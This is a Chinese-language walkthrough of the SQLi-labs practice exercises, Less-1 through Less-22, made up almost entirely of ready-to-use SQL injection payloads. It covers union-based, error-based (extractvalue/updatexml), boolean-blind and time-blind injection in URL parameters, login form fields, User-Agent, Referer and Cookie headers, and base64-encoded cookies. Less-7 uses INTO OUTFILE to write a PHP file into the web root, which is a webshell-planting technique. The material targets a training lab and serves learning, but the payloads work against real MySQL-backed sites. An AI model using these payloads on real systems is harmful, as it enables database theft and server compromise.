Less1

联合注入

构造payload，查询到基本数据库信息 [出自:jiwo.org]

?id=-1' union select 1,group_concat((select database()),':',(select user()),':',(select version())),3%23

报错注入

查询所有库名，payload如下

?id=1' and extractvalue(1,concat(0x7e,(mid((select group_concat(schema_name) from information_schema.schemata),1,31))))%23
?id=1' and extractvalue(1,concat(0x7e,(mid((select group_concat(schema_name) from information_schema.schemata),32,31))))%23
?id=1' and extractvalue(1,concat(0x7e,(mid((select group_concat(schema_name) from information_schema.schemata),63,31))))%23

布尔盲注

payload如下

?id=1' and if(length((select database()))>0,1,0)%23

时间盲注

payload如下

?id=1' and sleep(5)%23

Less-2

联合注入

构造payload，查询到基本数据库信息

?id=-1 union select 1,group_concat((select user()),':',(select database()),':',(select version())),3%23

报错注入

payload如下

?id=1 and extractvalut(1,concat(0x7e,(select database())))%23
?id=-1 and updatexml(1,(concat(0x7e,((select database())))),3)%23

布尔盲注

?id=1 and if(length((select database()))>0,1,0)%23

时间盲注

?id=1 and if(length((select database()))>0,sleep(5),0)%23

Less-3

联合注入

构造payload，查询到基本数据库信息

?id=-1') union select 1,group_concat((select user()),':',(select database()),':',(select version())),3%23

报错注入

?id=-1') and updatexml(1,(concat(0x7e,((select database())))),3)%23
?id=-1') and extractvalue(1,(concat(0x7e,((select database())))))%23

布尔盲注

?id=1') and if(length((select database()))>0,1,0)%23

时间盲注

?id=1') and if(length((select database()))>0,sleep(2),0)%23

Less-4

联合注入

构造payload，查询到基本数据库信息

?id=-1") union select 1,group_concat((select user()),':',(select database()),':',(select version())),3%23

报错注入

?id=1") and updatexml(1,(concat(0x7e,((select database())))),3)%23
?id=1") and extractvalue(1,(concat(0x7e,((select database())))))%23

布尔盲注

?id=1") and if(length((select database()))>0,1,0)%23

时间盲注

?id=1") and if(length((select database()))>0,sleep(2),0)%23

Less-5

报错注入

?id=5' and extractvalue(1,(concat(0x7e,(select database()))))%23
?id=5' and updatexml(1,(concat(0x7e,(select database()))),3)%23

布尔盲注

?id=5' and if(length((select database()))>0,1,0)%23

时间盲注

?id=5' and if(length((select database()))>0,sleep(2),0)%23

Less-6

报错注入

?id=1" and extractvalue(1,(concat(0x7e,(select database()))))%23
?id=1" and updatexml(1,(concat(0x7e,(select database()))),3)%23

布尔盲注

?id=1" and if(length((select database()))>0,1,0)%23

时间盲注

?id=1" and if(length((select database()))>0,sleep(2),0)%23

Less-7

联合查询注入

• 写webshell，payload如下

?id=1')) INTO OUTFILE '/var/www/html/phpinfo1.php' lines terminated by '<?=phpinfo();?>'%23
?id=1')) INTO OUTFILE '/var/www/html/sqli/Less-7/phpinfo2.php' lines starting by '<?=phpinfo();?>'%23
?id=1')) INTO OUTFILE '/var/www/html/sqli/Less-7/phpinfo4.php' fields terminated by '<?=phpinfo();?>'%23
?id=1')) INTO OUTFILE '/var/www/html/sqli/Less-7/phpinfo4.php' columns terminated by '<?=phpinfo();?>'%23

布尔盲注

?id=1')) and if(length((select database()))>0,1,0)%23

时间盲注

?id=1')) and if(length((select database()))>0,sleep(2),0)%23

Less-8

布尔盲注

利用布尔盲注猜解处数据库，payload如下

?id=1' and if(mid((select database()),1,1)='s',sleep(2),0)%23
?id=1' and if(mid((select database()),2,1)='e',sleep(2),0)%23
?id=1' and if(mid((select database()),3,1)='c',sleep(2),0)%23
?id=1' and if(mid((select database()),4,1)='u',sleep(2),0)%23
?id=1' and if(mid((select database()),5,1)='r',sleep(2),0)%23
?id=1' and if(mid((select database()),6,1)='i',sleep(2),0)%23
?id=1' and if(mid((select database()),7,1)='t',sleep(2),0)%23
?id=1' and if(mid((select database()),8,1)='y',sleep(2),0)%23

最终猜解出来的数据库名为security

时间盲注

?id=1' and if(length((select database()))>0,sleep(5),0)%23

Less-9

时间盲注

?id=1' and if(length((select database()))>0,sleep(5),0)%23

Less-10

时间盲注

?id=1" and if(length((select database()))>0,sleep(5),0)%23

Less-11

联合查询注入

uname=-admin' union select 1,database()%23&passwd=asdf&submit=Submit

报错注入

uname=admin' and extractvalue(1,concat(0x7e,(select database())))%23&passwd=asdf&submit=Submit
uname=admin' and updatexml(1,concat(0x7e,(select database())),3)%23&passwd=asdf&submit=Submit

布尔盲注

uname=admin' and if(length((select database()))>0,1,0)%23&passwd=asdf&submit=Submit

时间盲注

uname=admin' and if(length((select database()))>0,sleep(5),0)%23&passwd=asdf&submit=Submit

Less-12

联合查询注入

uname=-admin") union select 1,database()%23&passwd=asdf&submit=Submit

报错注入

uname=-admin") and extractvalue(1,concat(0x7e,(select database())))%23&passwd=asdf&submit=Submit
uname=-admin") and updatexml(1,concat(0x7e,(select database())),3)%23&passwd=asdf&submit=Submit

布尔盲注

uname=admin") and if(length((select database()))>0,1,0)%23&passwd=asdf&submit=Submit

时间盲注

uname=admin") and if(length((select database()))>0,sleep(3),0)%23&passwd=asdf&submit=Submit

Less-13

报错注入

uname=admin') and extractvalue(1,concat(0x7e,(select database())))%23&passwd=asdgfasdg&submit=Submit
uname=admin') and updatexml(1,concat(0x7e,(select database())),3)%23&passwd=asdgfasdg&submit=Submit

时间盲注

uname=admin') and if(length((select database()))>0,sleep(2),0)%23&passwd=asdgfasdg&submit=Submit

Less-14

报错注入

uname=admin" and extractvalue(1,concat(0x7e,(select database())))%23&passwd=asdfas&submit=Submit
uname=admin" and updatexml(1,concat(0x7e,(select database())),3)%23&passwd=asdfas&submit=Submit

时间盲注

uname=admin" and if(length((select database()))>0,sleep(3),0)%23&passwd=asdfas&submit=Submit

Less-15

时间盲注

uname=admin'+and+if(length((select database()))>0,sleep(3),0)%23&passwd=asdfasdf&submit=Submit

Less-16

时间盲注

uname=admin")+and+if(length((select database()))>0,sleep(3),0)%23&passwd=asdfasdf&submit=Submit

Less-17

报错注入

uname=admin&passwd=asdfas' and extractvalue(1,concat(0x7e,(select database())))%23&submit=Submit
uname=admin&passwd=asdfas' and updatexml(1,concat(0x7e,(select database())),3)%23&submit=Submit

Less-18

User-Agent头注入

header头注入结合报错，payload如下

' and extractvalue(1,concat(0x7e,(select database()))),'
' and updatexml(1,concat(0x7e,(select database())),3),'

Less-19

header头注入（Referer）

' and extractvalue(1,concat(0x7e,(select database()))),'
' and updatexml(1,concat(0x7e,(select database())),3),'

Less-20

联合查询注入

• cookie注入

uname=-admin' union select 1,database(),3%23

报错注入

• cookie头注入

uname=admin' and extractvalue(1,concat(0x7e,(select database())))%23
uname=admin' and updatexml(1,concat(0x7e,(select database())),3)%23

布尔盲注

• cookie头注入

uname=admin' and if(length((select database()))>0,1,0)%23

时间盲注

• cookie头注入

uname=admin' and if(length((select database()))>0,sleep(3),0)%23

Less-21

联合注入

uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsKHNlbGVjdCBkYXRhYmFzZSgpKSwzIw==

header头注入/base64注入（cookie）

• 报错注入

uname=YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSkpIw==
uname=YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSksMykj

• 布尔盲注

uname=YWRtaW4nKSBhbmQgaWYobGVuZ3RoKChzZWxlY3QgZGF0YWJhc2UoKSkpPjAsMSwwKSM=

• 时间盲注

uname=YWRtaW4nKSBhbmQgaWYobGVuZ3RoKChzZWxlY3QgZGF0YWJhc2UoKSkpPjAsc2xlZXAoMyksMCkj

Less-22

联合注入

uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwoc2VsZWN0IGRhdGFiYXNlKCkpLDMj

header头注入/base64（cookie）

• 报错注入

uname=YWRtaW4iIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpKSkj
YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpKSwzKSM=

来自FreeBuf.COM